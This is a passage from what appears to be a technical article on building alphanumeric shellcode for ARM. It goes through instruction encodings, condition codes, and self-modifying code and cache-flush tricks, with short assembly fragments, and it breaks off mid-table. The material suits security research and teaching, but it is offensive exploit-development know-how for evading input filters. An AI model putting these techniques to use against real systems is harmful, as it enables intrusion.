3. [<Rn>, +/-<Rm>, <shift> #<shift_imm>]<!>

```
  11        7  6  5  4 3       0
 +-----------+-----+--+--------+
 | shift_imm |shift| 0|   Rm   |
 +-----------+-----+--+--------+
```

- If shift is LSL, then bits 6 and 5 are 0. This is not alphanumeric.
- If shift is LSR, then bit 6 is 0 and bit 5 is 1. But since bit 4 stays 0, it is not alphanumeric.
- If shift is ASR, then bit 6 is 1 and bit 5 is 0. This means that it is alphanumeric as long as Rm is not R0.
- If shift is ROR or RRX, then bits 6 and 5 will be 1, which is alphanumeric, regardless of the register used as Rm.

The other post-indexing addressing modes discussed above have essentially the same bit layout for the last 12 bytes. They only differ in that these modes will unset bit 24 in the load or store instruction.

----[2.1.2 Addressing modes for load/store multiple

The increment addressing modes will set bit 23 in the load or store instruction, while the decrement modes will unset bit 23. If bit 23 is set, then the instruction can not be represented alphanumerically. So only the decrement addressing mode can be used in alphanumeric shellcode.

----[2.2 Conditional Execution

Because the condition code of an instruction is encoded in the most significant bits of the fourth byte of the instruction (bits 31-28), the value of the condition code has a direct impact on the alphanumeric properties of the instruction. As a result, only a limited set of condition codes can be used in alphanumeric shellcode. The table below lists all the condition codes and their corresponding bit pattern:

```
   [bitpattern]  [name]          [description]
       0000        EQ     Equal
       0001        NE     Not equal
       0010        CS/HS  Carry set/unsigned higher or same
       0011        CC/LO  Carry clear/unsigned lower
       0100        MI     Minus/negative
       0101        PL     Plus/positive or zero
       0110        VS     Overflow
       0111        VC     No overflow
       1000        HI     Unsigned higher
       1001        LS     Unsigned lower or same
       1010        GE     Signed greater than or equal
       1011        LT     Signed less than
       1100        GT     Signed greater than
       1101        LE     Signed less than or equal
       1110        AL     Always (unconditional) -
       1111        (used for other purposes)
      _|  |_
     |      |
   bit31  bit28
```

Remember that the most significant bit of a byte should always be set to 0 in order to be alphanumeric, so this excludes the last eight condition codes. In addition, the resulting byte must be at least 0x30, so this excludes the first three condition codes too.

Unfortunately, 'AL' is one of the codes that cannot be used in alphanumeric shellcode. This means that all ARM instructions must be executed conditionally. In this article, we choose PL and MI as the two condition codes that we will use. They are mutually exclusive, so we can always ensure that an instruction gets executed by simply adding the same instruction twice to the shellcode, once with the PL suffix and once with the MI suffix.

----[2.3 The Instruction List

In our list of instructions, we make a distinction between SZ/SO (should be zero/should be one) and IZ/IO (is zero/is one). We do this because the ARM reference manual specifies that specific bits must be set to 0 or 1 and others "should be" set to 0 or 1 (defined as SBZ or SBO in the manual). However, on our test processor if we set a bit marked as "should be" to something else, the processor throws an undefined instruction exception. As such, we’ve considered should be and must be to be equivalent for our discussion, but we note the difference should this behavior be different in other processors (since this would allow us to use many more instructions).

The table below lists all the instructions present in ARMv6. For each instruction, we’ve checked some simple constraints that may not be broken in order for the instruction to be alphanumeric. The main focus of this table is the high order bits of the second byte of the instruction (bits 23 to 20). The reason that only the high order bits of this byte are included, is because the high order bits of the first byte are set by the condition flags, and the high order bits of the third and fourth byte are often set by the operands of the instruction. When the table contains the value ’d’ for a bit, it means that the value of this bit depends on specific settings.

The final column contains a list of things that disqualify the instruction for being used in alphanumeric shellcode. Disqualification criteria are that at least one of the four bytes of the instruction is either always too high to be alphanumeric, or too low. In this column, the following conventions are used:

- ’IO’ is used to indicate that one or more bits is always 1
- ’IZ’ is used to indicate that one or more bits is always 0
- ’SO’ is used to indicate that one or more bits should be 1
- ’SZ’ is used to indicate that one or more bits should be 0

instruction	version	23	22	21	20	disqualifiers
ADC		1	0	1	d	IO: 23
ADD		1	0	0	d	IO: 23
AND		0	0	0	d	IZ: 23-21
B, BL		d	d	d	d	
BIC		1	1	0	d	IO: 23
BKPT	5+	0	0	1	0	IO: 31, IZ: 22, 20
BLX (1)	5+	d	d	d	d	IO: 31
BLX (2)	5+	0	0	1	0	SO: 15, IZ: 22, 20
BX	4T, 5+	0	0	1	0	IO: 7, SO: 15, IZ 22, 20
BXJ	5TEJ, 6+	0	0	1	0	SO: 15, IZ: 22, 20, 6, 4
CDP		d	d	d	d	
CLZ	5+	0	1	1	0	IZ: 7-5
CMN		0	1	1	1	SZ: 15-13
CMP		0	1	0	1	SZ: 15-13
CPS	6+	0	0	0	0	SZ: 15-13, IZ 22-20
CPY	6+	1	0	1	0	IZ: 22, 20, 7-5, IO 23
EOR		0	0	1	d	
LDC		d	d	d	1	
LDM (1)		d	0	d	1	
LDM (2)		d	1	0	1	
LDM (3)		d	1	d	1	IO: 15
LDR		d	0	d	1	
LDRB		d	1	d	1	
LDRBT		0	1	1	1	
LDRD	5TE+	d	d	d	0	
LDREX	6+	1	0	0	1	IO: 23, 7
LDRH		d	d	d	1	IO: 7
LDRSB	4+	d	d	d	1	IO: 7
LDRSH	4+	d	d	d	1	IO: 7
LDRT		d	0	1	1	
MCR		d	d	d	0	
MCRR	5TE+	0	1	0	0	
MLA		0	0	1	d	IO: 7
MOV		1	0	1	d	IO: 23
MRC		d	d	d	1	
MRRC	5TE+	0	1	0	1	
MRS		0	d	0	0	SZ: 7-0
MSR		0	d	1	0	SO: 15
MUL		0	0	0	d	IO: 7

```
|MVN        |        |1 |1 |1 |d |IO: 23                     |
|ORR        |        |1 |0 |0 |d |IO: 23                     |
|PKHBT      |6+      |1 |0 |0 |0 |IO: 23                     |
|PKHTB      |6+      |1 |0 |0 |0 |IO: 23                     |
|PLD        |5TE+,   |d |1 |0 |1 |IO: 15                     |
|           |!5TExP  |  |  |  |  |                           |
|QADD       |5TE+    |0 |0 |0 |0 |IZ: 22-21                  |
|QADD16     |6+      |0 |0 |1 |0 |IZ: 22, 20                 |
|QADD8      |6+      |0 |0 |1 |0 |IZ: 22, 20, IO: 7          |
|QADDSUBX   |6+      |0 |0 |1 |0 |IZ: 22, 20                 |
|QDADD      |5TE+    |0 |1 |0 |0 |                           |
|QDSUB      |5TE+    |0 |1 |1 |0 |                           |
|QSUB       |5TE+    |0 |0 |1 |0 |IZ: 22, 20                 |
|QSUB16     |6+      |0 |0 |1 |0 |IZ: 22, 20                 |
|QSUB8      |6+      |0 |0 |1 |0 |IZ: 22, 20, IO: 7          |
|QSUBADDX   |6+      |0 |0 |1 |0 |IZ: 22, 20                 |
|REV        |6+      |1 |0 |1 |1 |IO: 23                     |
|REV16      |6+      |1 |0 |1 |1 |IO: 23, 7                  |
|REVSH      |6+      |1 |1 |1 |1 |IO: 23, 7                  |
|RFE        |6+      |d |0 |d |1 |SZ: 14-13, 6-5             |
|RSB        |        |0 |1 |1 |d |                           |
|RSC        |        |1 |1 |1 |d |IO: 23                     |
|SADD16     |6+      |0 |0 |0 |1 |IZ: 22-21                  |
|SADD8      |6+      |0 |0 |0 |1 |IZ: 22-21, IO: 7           |
|SADDSUBX   |6+      |0 |0 |0 |1 |IZ: 22-21                  |
|SBC        |        |1 |1 |0 |d |IO: 23                     |
|SEL        |6+      |1 |0 |0 |0 |IO: 23                     |
|SETEND     |6+      |0 |0 |0 |0 |SZ: 14-13, IZ: 22-21, 6-5  |
|SHADD16    |6+      |0 |0 |1 |1 |IZ: 6-5                    |
|SHADD8     |6+      |0 |0 |1 |1 |IO: 7                      |
|SHADDSUBX  |6+      |0 |0 |1 |1 |                           |
|SHSUB16    |6+      |0 |0 |1 |1 |                           |
|SHSUB8     |6+      |0 |0 |1 |1 |IO: 7                      |
|SHSUBADDX  |6+      |0 |0 |1 |1 |                           |
|SMLA<x><y> |5TE+    |0 |0 |0 |0 |IO: 7, IZ: 22-21           |
|SMLAD      |6+      |0 |0 |0 |0 |IZ: 22-21                  |
|SMLAL      |        |1 |1 |1 |d |IO: 23,7                   |
|SMLAL<x><y>|5TE+    |0 |1 |0 |0 |IO: 7                      |
|SMLALD     |6+      |0 |1 |0 |0 |                           |
|SMLAW<y>   |5TE+    |0 |0 |1 |0 |IZ: 22, 20, IO: 7          |
|SMLSD      |6+      |0 |0 |0 |0 |IZ: 22-21                  |
|SMLSLD     |6+      |0 |1 |0 |0 |                           |
|SMMLA      |6+      |0 |1 |0 |1 |                           |
|SMMLS      |6+      |0 |1 |0 |1 |IO: 7                      |
|SMMUL      |6+      |0 |1 |0 |1 |IO: 15                     |
|SMUAD      |6+      |0 |0 |0 |0 |IZ: 22-21, IO: 15          |
|SMUL<x><y> |5TE+    |0 |1 |1 |0 |SZ: 15, IO: 7              |
|SMULL      |        |1 |1 |0 |d |IO: 23                     |
|SMULW<x><y>|5TE+    |0 |0 |1 |0 |IZ: 22, 20,SZ: 14-13, IO: 7|
|SMUSD      |6+      |0 |0 |0 |0 |IZ: 22-21, IO: 15          |
|SRS        |6+      |d |1 |d |0 |SZ: 14-13, 6-5             |
|SSAT       |6+      |1 |0 |1 |d |IO: 23                     |
|SSAT16     |6+      |1 |0 |1 |0 |IO: 23                     |
|SSUB16     |6+      |0 |0 |0 |1 |IZ: 22-21                  |
|SSUB8      |6+      |0 |0 |0 |1 |IZ: 22-21, IO: 7           |
|SSUBADDX   |6+      |0 |0 |0 |1 |IZ: 22-21                  |
|STC        |2+      |d |d |d |0 |                           |
|STM (1)    |        |d |0 |d |0 |IZ: 22, 20                 |
|STM (2)    |        |d |1 |0 |0 |                           |
|STR        |        |d |0 |d |0 |IZ: 22, 20                 |
|STRB       |        |d |1 |d |0 |                           |
|STRBT      |        |d |1 |1 |0 |                           |
|STRD       |5TE+    |d |d |d |0 |IO: 7                      |
|STREX      |6+      |1 |0 |0 |0 |IO: 7                      |
|STRH       |4+      |d |d |d |0 |IO: 7                      |
|STRT       |        |d |0 |1 |0 |IZ: 22, 20                 |
|SUB        |        |0 |1 |0 |d |                           |
|SWI        |        |d |d |d |d |                           |
```

SWP	2a, 3+	0	0	0	0	IZ: 22-21, IO: 7
SWPB	2a, 3+	0	1	0	0	IO: 7
SXTAB	6+	1	0	1	0	IO: 23
SXTAB16	6+	1	0	0	0	IO: 23
SXTAH	6+	1	0	1	1	IO: 23
SXTB	6+	1	0	1	0	IO: 23
SXTB16	6+	1	0	0	0	IO: 23
SXTH	6+	1	0	1	1	IO: 23
TEQ		0	0	1	1	SZ: 14-13
TST		0	0	0	1	IZ: 22-21, SZ: 14-13
UADD16	6+	0	1	0	1	IZ: 6-5
UADD8	6+	0	1	0	1	IO: 7
UADDSUBX	6+	0	1	0	1	
UHADD16	6+	0	1	1	1	IZ: 6-5
UHADD8	6+	0	1	1	1	IO: 7
UHADDSUBX	6+	0	1	1	1	
UHSUB16	6+	0	1	1	1	
UHSUB8	6+	0	1	1	1	IO: 7
UHSUBADDX	6+	0	1	1	1	
UMAAL	6+	0	1	0	0	IO: 7
UMLAL		1	0	1	d	IO: 23, 7
UMULL		1	0	0	d	IO: 23, 7
UQADD16	6+	0	1	1	0	IZ: 6-5
UQADD8	6+	0	1	1	0	IO: 7
UQADDSUBX	6+	0	1	1	0	
UQSUB16	6+	0	1	1	0	
UQSUB8	6+	0	1	1	0	IO: 7
UQSUBADDX	6+	0	1	1	0	
USAD8	6+	1	0	0	0	IO: 23, 15, IZ: 6-5
USADA8	6+	1	0	0	0	IO: 23, IZ: 6-5
USAT	6+	1	1	1	d	IO: 23
USAT16	6+	1	1	1	0	IO: 23
USUB16	6+	0	1	0	1	
USUB8	6+	0	1	0	1	IO: 7
USUBADDX	6+	0	1	0	1	
UXTAB	6+	1	1	1	0	IO: 23
UXTAB16	6+	1	1	0	0	IO: 23
UXTAH	6+	1	1	1	1	IO: 23
UXTB	6+	1	1	1	0	IO: 23
UXTB16	6+	1	1	0	0	IO: 23
UXTH	6+	1	1	1	1	IO: 23

From the list of 147 instructions that are present in the latest revision of the ARM documentation, we will now remove all instructions that require a specific ARM architecture version and all the instructions that we have disqualified based on whether or not they have bit patterns which are incompatible with alphanumeric characters.

This leaves us with 18 instructions, as listed in the reference manual: B/BL, CDP, EOR, LDC, LDM(1), LDM(2), LDR, LDRB, LDRBT, LDRT, MCR, MRC, RSB, STM(2), STRB, STRBT, SUB, SWI.

There are a few instructions listed here that are of limited use to us though:

- B/BL: the Branch instruction is of limited use to us in most cases: the last 24 bits of this instruction are taken and then shifted left two positions (because instructions must always start at a multiple of 4). The result is then added to the program counter and execution will then continue at that location. To make this offset alphanumeric, we would have to jump at least 12MB from our current location, this limits the usefulness of this instruction since we will not always be able to control memory that is at least 12MB from our shellcode.
- CDP: is used to tell the coprocessor to do some kind of data processing. Since we can not be sure about which coprocessors may be available or not on a specific platform, we discard this

instruction as well.

- LDC: the load coprocessor instruction loads data from a consecutive range of memory addresses into a coprocessor.
- MCR/MRC: move to and from coprocessor register to and from ARM registers. While this instruction could be useful for caching purposes (more on this later), it is a privileged instruction before ARMv6.

We are now left with 13 instructions: EOR, LDM(1), LDM(2), LDR, LDRB, LDRBT, LDRT, RSB, STM, STRB, STRBT, SUB, SWI. We now group together the instructions that have the same basic functionality but that only differ in the details. For instance, LDR loads a word from memory into a register whereas LDRB loads a byte into the least significant bytes of a register. We get the following:

- EOR: Exclusive OR
- LDM (LDM(1), LDM(2)): Load multiple registers from a consecutive memory locations
- LDR (LDR, LDRB, LDRBT, LDRT): Load value from memory into a register
- STM: Store multiple registers to consecutive memory locations
- STR (STRB, STRBT): Store a register to memory
- SUB (SUB, RSB): Subtract
- SWI: Software Interrupt a.k.a. do a system call

Unfortunately, the instructions in the above list are not always alphanumeric. Depending on which operands are used, these functions may still generate non-alphanumeric characters. Hence, some additional constraints must be specified for each function. Below, we discuss these constraints for the instructions in the groups.

- EOR: Syntax: EOR{<cond>}{S} <Rd>, <Rn>, <shifter_operand>

```
  31 28 27 26 25 24 23 22 21 20 19 16 15 12 11                0
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------------+
 |cond | 0| 0| I| 0| 0| 0| 1| S|  Rn |  Rd |  shifter_operand  |
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------------+
```

In order for the second byte to be alphanumeric, the S bit must be set to 1. If this bit is set to 0, the resulting value would be less than 47, which is not alphanumeric. Rn can also not be a register higher than R9. Since Rd is encoded in the first four bits of the third byte, it may not start with a 1. This means that only the low registers can be used. In addition, register R0 to R2 can not be used, because this would generate a byte that is too low to be alphanumeric. The shifter operand must be tweaked, such that its most significant four bytes generate valid alphanumeric characters in combination with Rd. The eight least significant bits are, of course, also significant as they fully determine the fourth byte of the instruction. Details about the shifter operand can be found in the ARM architecture reference manual.

- LDM(1): Syntax: LDM{<cond>}<addressing_mode> <Rn>{!}, <registers>

```
  31 28 27 26 25 24 23 22 21 20 19  16 15            0
 +-----+--+--+--+--+--+--+--+--+------+---------------+
 |cond | 1| 0| 0| P| U| 0| W| 1|  Rn  | register list |
 +-----+--+--+--+--+--+--+--+--+------+---------------+
```

```
  LDM(2):  Syntax: LDM{<cond>}<addressing_mode> <Rn>,
                          <registers_without_pc>^

  31 28 27 26 25 24 23 22 21 20 19  16 15 14            0
 +-----+--+--+--+--+--+--+--+--+------+--+---------------+
 |cond | 1| 0| 0| P| U| 1| 0| 1|  Rn  | 0| register list |
 +-----+--+--+--+--+--+--+--+--+------+-----------------+
```

The list of registers that is loaded into memory is stored in the last two bytes of the instructions. As a result, not any list of registers can be used. In particular, for the low registers, R7 can never be used. R6 or R5 must be used, and if R6 is not used, R4 must be used. The same goes for the high registers. Additionally, the U bit must be set to 0 and the W bit to 1, to ensure that the second byte of the instruction is alphanumeric. For Rn, registers R0 to R9 can be used with LDM(1), and R0 to R10 can be used with LDM(2).

- LDR: Syntax: LDR{<cond>} <Rd>, <addressing_mode>

```
  31 28 27 26 25 24 23 22 21 20 19 16 15 12 11          0
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------+
 |cond | 0| 1| I| P| U| 0| W| 1|  Rn |  Rd |  addr_mode  |
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------+
```

  LDRB: Syntax: LDR{<cond>}B <Rd>, <addressing_mode>

```
  31 28 27 26 25 24 23 22 21 20 19 16 15 12 11          0
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------+
 |cond | 0| 1| I| P| U| 1| W| 1|  Rn |  Rd |  addr_mode  |
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------+
```

  LDRBT: Syntax: LDR{<cond>}BT <Rd>, <post_indexed_addressing_mode>

```
  31 28 27 26 25 24 23 22 21 20 19 16 15 12 11          0
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------+
 |cond | 0| 1| I| 0| U| 1| 1| 1|  Rn |  Rd |  addr_mode  |
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------+
```

  LDRT: Syntax: LDR{<cond>}T <Rd>, <post_indexed_addressing_mode>

```
  31 28 27 26 25 24 23 22 21 20 19 16 15 12 11          0
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------+
 |cond | 0| 1| I| 0| U| 0| 1| 1|  Rn |  Rd |  addr_mode  |
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------+
```

The details of the addressing mode are described in the ARM reference manual and will not be repeated here for brevity’s sake. However, the addressing mode must be specified in a way such that the fourth byte of the instruction is alphanumeric, and the least significant four bits of the third byte generate a valid character in combination with Rd. Rd cannot be one of the high registers, and cannot be R0-R2. The U bit must also be 0.

- STM: Syntax: STM{<cond>}<addressing_mode> <Rn>, <registers>^

```
  31 28 27 26 25 24 23 22 21 20 19  16 15           0
 +-----+--+--+--+--+--+--+--+--+-------+---------------+
 |cond | 1| 0| 0| P| U| 1| 0| 0|  Rn   | register list |
 +-----+--+--+--+--+--+--+--+--+-------+---------------+
```

  STRB: Syntax: STR{<cond>}B <Rd>, <addressing_mode>

```
  31 28 27 26 25 24 23 22 21 20 19 16 15 12 11          0
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------+
 |cond | 0| 1| I| P| U| 1| W| 0|  Rn |  Rd |  addr_mode  |
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------+
```

  STRBT: Syntax: STR{<cond>}BT <Rd>, <post_indexed_addressing_mode>

```
  31 28 27 26 25 24 23 22 21 20 19 16 15 12 11          0
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------+
 |cond | 0| 1| I| 0| U| 1| 1| 0|  Rn |  Rd |  addr_mode  |
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------+
```

The structure of STM is very similar to the structure of the LDM operation, and the structure of STRB(T) is very similar to LDRB(T). Hence, comparable constraints apply. The only difference is that other values for Rn must be used in order to generate an alphanumeric character for the third byte of the instruction.

- SUB: Syntax: SUB{<cond>}{S} <Rd>, <Rn>, <shifter_operand>

```
  31 28 27 26 25 24 23 22 21 20 19 16 15 12 11                0
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------------+
 |cond | 0| 0| I| 0| 0| 1| 0| S|  Rn |  Rd |  shifter_operand  |
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------------+
```

  RSB: Syntax: RSB{<cond>}{S} <Rd>, <Rn>, <shifter_operand>

```
  31 28 27 26 25 24 23 22 21 20 19 16 15 12 11                0
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------------+
 |cond | 0| 0| I| 0| 0| 1| 1| S|  Rn |  Rd |  shifter_operand  |
 +-----+--+--+--+--+--+--+--+--+-----+-----+-------------------+
```

To get the second byte of the instruction to be alphanumeric, Rn and the S bit must be set accordingly. In addition, Rd cannot be one of the high registers, or R0-R2. As with the previous instructions, we refer you to the ARM architecture reference manual for a detailed instruction of the shifter operand.

- SWI: Syntax: SWI{<cond>} <immed_24>

```
  31 28 27 26 25 24 23                        0
 +-----+--+--+--+--+---------------------------+
 |cond | 1| 1| 1| 1|          immed_24         |
 +-----+--+--+--+--+---------------------------+
```

As will become clear further in the article, it was essential for us that the first byte of the SWI call is alphanumeric. Fortunately, this can be accomplished by using one of the condition codes discussed in the previous section. The other three bytes are fully determined by the immediate value that is passed as the operand of the SWI instruction.

----[2.4 Getting a known value in a register

When our shellcode starts executing, we are faced with a problem: We do not know which values the registers contain. So we must place our own value in a register, however we don't have any traditional instructions for doing this. We can't use MOV because that is not alphanumeric. So we must make do with our remaining instructions.
If we look at our arithmetic instructions, we can't EOR or SUB a register with/from itself to get a 0 into a register as using 3 registers as arguments is not alphanumeric. We could EOR or SUB with an immediate, but we don't know the values in the registers so we can't give an appropriate immediate which will return the expected value.
Given that these are our only arithmetic instructions, we can't arithmetically get a known value into a register. So our approach has been to use LDR. Since we know which code we're writing, we can use our shellcode as data and load a byte from the shellcode into a register.

This is done as follows:

```
    SUB    r3, pc, #48
    LDRB   r3, [r3, #-48]
```

PC will always point to our shellcode, however we can't directly access it in an LDR instruction as this would result in non-alphanumeric code. So we copy PC to R3 by subtracting 48 from PC. Then we use R3 in our LDRB instruction to load a known byte from our shellcode into R3 (we use an immediate offset to ensure that the last byte of the instruction is alphanumeric). Once this is done we can use R3 as the base register for loading values into other registers. Subtracting 48 from R3 will give us 0, subtracting 49 will give us -1, performing an exclusing or with a known value will give us another known value, etc.

----[2.5 Writing to R0-R2

One of the constraints, mentioned in section 2.3 on most functions that have an Rd operand, is that registers R0 to R2 cannot be used as destination register. The reason is that the destination register is encoded in the four most significant bits of the third byte of an operation. If these bits are set to the value 0, 1 or 2, this would generate a byte that is not alphanumerical.

On ARM processors, registers R0 to R3 are used to transfer parameters to function calls. If the function has more than 4 parameters, the additional parameters are pushed to the stack. This poses a problem for us, because we will need to populate registers R0 to R3 in our shellcode, in order to pass arguments to functions and system calls. However, it's not easy to write to the contents of these registers, because most operations do not support having R0-R2 as a destination register.

There is, however, one operation that we can use to write to the three lowest registers, without generating non-alphanumeric instructions. The LDM instruction loads values from the stack into multiple registers. It encodes the list of registers it needs to write to in the last two bytes of the instruction. Hence, if bits 0 to 2 are set, registers R0 to R2 will be used to write data to. In order to get the bytes of the instruction to become alphanumeric, we have to add some other registers to the list. In the example shellcode, we will use registers R3 to R7 to do our calculations, store the results to the stack, and then load the results in R0 to R2 with the LDM instruction.

Thumb mode doesn't suffer from this problem, because the resulting register is encoded differently.

----[2.6 Self-modifying Code

With the instructions that remain after discarding all non-alphanumeric bytes, it's pretty hard to write interesting shellcode. There's only limited support for arithmetic operations, which makes it difficult to do the calculations that are necessary to make system calls. In addition, there's no branch instruction either, making loops impossible. So it seems that we are not even Turing complete.

An interesting option would be to switch from the ARM to the Thumb instruction set. Since thumb instructions are shorter, it is likely that more instructions are available for this instruction set. However, in order to go from ARM to Thumb mode, we need the BX instruction, which executes a branch and an optional exchange of processor state. This instruction is, however, not alphanumeric.

Another possibility is to write self-modifying code. The basic idea is to compute and write non-alphanumeric instructions to memory, using only alphanumeric instructions. Then, when the desired code is written in memory, simply jump to the instructions to execute them.

Let's take a look at an example. To keep this simple, we consider here non-alphanumeric shellcode. Only null bytes are not allowed. Imagine you want to execute the instruction:

```
    mov r0, #0
```

The resulting bytes for this instruction are 0xe3a00000. Since there are two null bytes in this instruction, we will either need another instruction or self-modifying code. In this example, we will use self-modifying code:

```
    ldrh   r1, [pc, #6]
    eor    r1, #384
    strh   r1, [pc, #-2]
    .byte 0xe3, 0xa0, 0x80, 0x01
```

In this short code fragment, we load the 0x80 and 0x01 bytes in register R1, we XOR them with 384 (which results in the value 0), and we store the result back over the original instruction. This code has no null bytes in it anymore.

----[2.7 The Instruction Cache

ARM processors have an instruction cache which makes writing self-modifying code hard to do since all the instructions that are being executed will most likely already have been cached. The Intel architecture has a specific requirement to be compatible with self-modifying code and as such, will make sure that when code is modified in memory the cache that possibly contains those instructions is invalidated. ARM has no such requirement, which means that the instructions that have been modified in memory could be different from the instructions that are actually executed since they could have been cached. Given the size of the instruction cache (16kb on our processor), and the proximity of the modified instructions it is very hard to write self-modifying shellcode without having to flush the instruction cache.

One way of ensuring that we can bypass the instruction cache is to use the MCR instruction, which allows us to move a register to the system coprocessor and is alphanumeric. We can set a specific bit in a register and then move that register to the status register of the system coprocessor, allowing us to turn off the instruction cache. However, as we mentioned in section 2.3, this instruction is privileged before ARMv6. Because it is not usable in all shellcode as such, we will not discuss it.

These cache issues and the fact that we can't just turn off the cache are the reasons why the fact that the SWI instruction can be represented alphanumerically was essential: we can't modify the SWI instruction in memory before flushing the cache, but we will need this instruction to perform a flush of the instruction cache. On ARM/Linux, the system call for a cache flush is 0x9F0002. None of these bytes are alphanumeric and since they are issued as part of an instruction this could result in a problem for our self-modifying code. However, SWI generates a software interrupt and to the interrupt handler, 0x9F0002 is actually data and as a result will not be read via the instruction cache, so if we modify the argument to SWI in our self-modifyign code, the argument will be read correctly.

In non-alphanumeric code, we would flush the instruction cache with this sequence of operations:

```
    mov   r0, #0
    mov   r1, #-1
    mov   r2, #0
    swi   0x9F0002
```

Since these instructions generate a number of non-alphanumeric characters, we will need self-modifying code techniques to use this in the shellcode.

----[2.8 Going to Thumb Mode

As discussed in section 1.5, we don’t need to go into Thumb mode to make our shellcode work, but it is more convenient since we only need to make 2 bytes alphanumeric per instruction rather than 4.

Below is an example that will get us into Thumb mode:

```
    sub r6, pc, #-1
    bx r6
```

However, the BX instruction is not alphanumeric, so we must overwrite our shellcode to execute the correct instruction. We must modify this instruction before executing the system call to flush the instruction cache.

Below is the list of Thumb instructions and their constraints with respect to processor version and if it’s possible to display them alphanumerically.

instruction	version	disqualifier
ADC		
ADD (1)		IZ:14-13
ADD (2)		
ADD (3)		IZ:14-13
ADD (4)		
ADD (5)		IO: 15
ADD (6)		IO: 15
ADD (7)		IO: 15
AND		Pattern is @
ASR (1)		IZ:14-13
ASR (2)		
B (1)		IO:15
B (2)		IO:15
BIC		IO:7
BKPT	5T+	IO:15
BL		IO:15
BLX (1)	5T+	IO:15
BLX (2)	5T+	IO:7
BX		
CMN		IO:7
CMP (1)		
CMP (2)		IO:7
CMP (3)		
CPS	6+	IO:7
CPY	6+	
EOR		Pattern is @
LDMIA		IO:15
LDR (1)		
LDR (2)		
LDR (3)		
LDR (4)		IO:15
LDRB (1)		
LDRB (2)		
LDRH (1)		IO:15
LDRH (2)		
LDRSB		
LDRSH		
LSL (1)		IZ: 14-13
LSL (2)		IO: 7
LSR (1)		IZ: 14-13
LSR (2)		IO: 7
MOV (1)		IZ: 14,12
MOV (2)		IZ: 14-13
MOV (3)		
MUL		
MVN		IO:7

NEG		
ORR		
POP		IO:15
PUSH		IO:15
REV	6+	IO:15
REV16	6+	IO:15
REVSH	6+	IO:15
ROR		IO:7
SBC		IO:7
SETEND	6+	IO:15
STMIA		IO:15
STR (1)		
STR (2)		
STR (3)		IO:15
STRB (1)		
STRB (2)		
STRH (1)		IO:15
STRH (2)		
SUB (1)		IZ: 14-13
SUB (2)		
SUB (3)		IZ: 14-13
SUB (4)		IZ:15
SWI		IZ:15
SXTB	6+	IZ:15
SXTH	6+	IZ:15
TST		
UXTB	6+	IZ:15
UXTH	6+	IZ:15

If we remove instructions which are not available on all ARM architectures, can not be represented alphanumerically or require special hardware, and then group together the instructions with similar purposes, we get the following list of instructions

- ADC: Add with Cary
- ADD: Add
- ASR: Arithmetic Shift Right
- BX: Branch and Exchange
- CMP: Compare
- LDR: Load Register
- MOV: Move
- MUL: Multiply
- NEG: Negate
- ORR: Logical Or
- STR: Store Register
- SUB: Substract
- TST: Test

As you can see we have a lot more instructions available in Thumb mode than we did in ARM mode. However there are many constraints on the use of these instructions. For every instruction we can only use specific registers or specific values. The constraints here are more esoteric than they are for ARM because of the limited size of instructions. We will go over each instructions and its limitations.

- ADC: Syntax: ADC <Rd>, <Rm>

```
 15 14 13 12 11 10  9  8  7  6  5  3  2  0
+--+--+--+--+--+--+--+--+--+--+-----+-----+
| 0| 1| 0| 0| 0| 0| 0| 1| 0| 1|  Rm |  Rd |
+--+--+--+--+--+--+--+--+--+--+-----+-----+
```

Since bit 7 is set to 0 and bit 6 is set to one, we can use just about any low register for Rm and Rd, the only combination of registers that we must exclude is the use of R0 as both Rm and Rd since that would result in 0x40 or an ’@’. The main problem with this instruction is that we must know the value of the carry flag as it will be added to the result of the addition.

```
- ADD: There are seven versions of the thumb mode ADD instruction listed
        in the reference manual. We will refer to them as the reference
        manual does, i.e. ADD (1) to ADD (7).
        ADD (1), ADD (3), ADD (5), ADD (6) and ADD (7) can not be used
        because their first byte is not alphanumeric.
        This leaves us with:
                - ADD (2): add a constant value to a register
                Syntax: ADD <Rd>, #<imm_8>
                 15 14 13 12 11 10  8 7              0
                +--+--+--+--+--+-----+---------------+
                | 0| 0| 1| 1| 0|  Rd |      imm_8    |
                +--+--+--+--+--+-----+---------------+
                Rd can be any low register but imm_8 must follow the
                constraints of being alphanumeric:
                        - 47 < imm_8 < 123
                        - imm_8 is not 58-64 or 91-96.
                - ADD (4): adds the value of two registers of which one or
                both must be a high register.
                Syntax: ADD <Rd>, <Rm>
                 15 14 13 12 11 10  9  8  7   6  5   3  2  0
                +--+--+--+--+--+--+--+--+---+---+-----+-----+
                | 0| 1| 0| 0| 0| 1| 0| 0| H1| H2|  Rm |  Rd |
                +--+--+--+--+--+--+--+--+---+---+-----+-----+
                With H1 = 1 if Rd is a high register and H2 = 1 if Rm
                is a high register.
                In our case the destination register, Rd may not be a high
                register because that would set bit 7 of the instruction
                to 1. As a result, we can only use this instruction to add
                the contents of a high register to a low one. However
                since bit 7 must be 0 and bit 6 must be 1, we can’t use
                register R8 as Rm and R0 as Rd together (i.e. we can’t do
                ADD r0, r8) since that would result in the second byte
                being an ’@’. In theory we could use this instruction to
                be able to add 2 low registers to each other, since for
                some registers the encoding would still be alphanumeric,
                however the reference manual specifies that if both
                registers are low, then the result is unpredictable. So
                the behavior may vary from one processor version to the
                next.

- ASR: There are two versions of ASR, ASR (1) and (2) respectively.
        ASR (1) allows the shifting of a register by a constant, however
        this is not alphanumeric. So we must use the second version of
        this instruction, ASR (2), which shifts a register based on the
        value in another register.
        Syntax: ASR <Rd>, <RS>
         15 14 13 12 11 10  9  8  7  6  5  3  2  0
        +--+--+--+--+--+--+--+--+--+--+-----+-----+
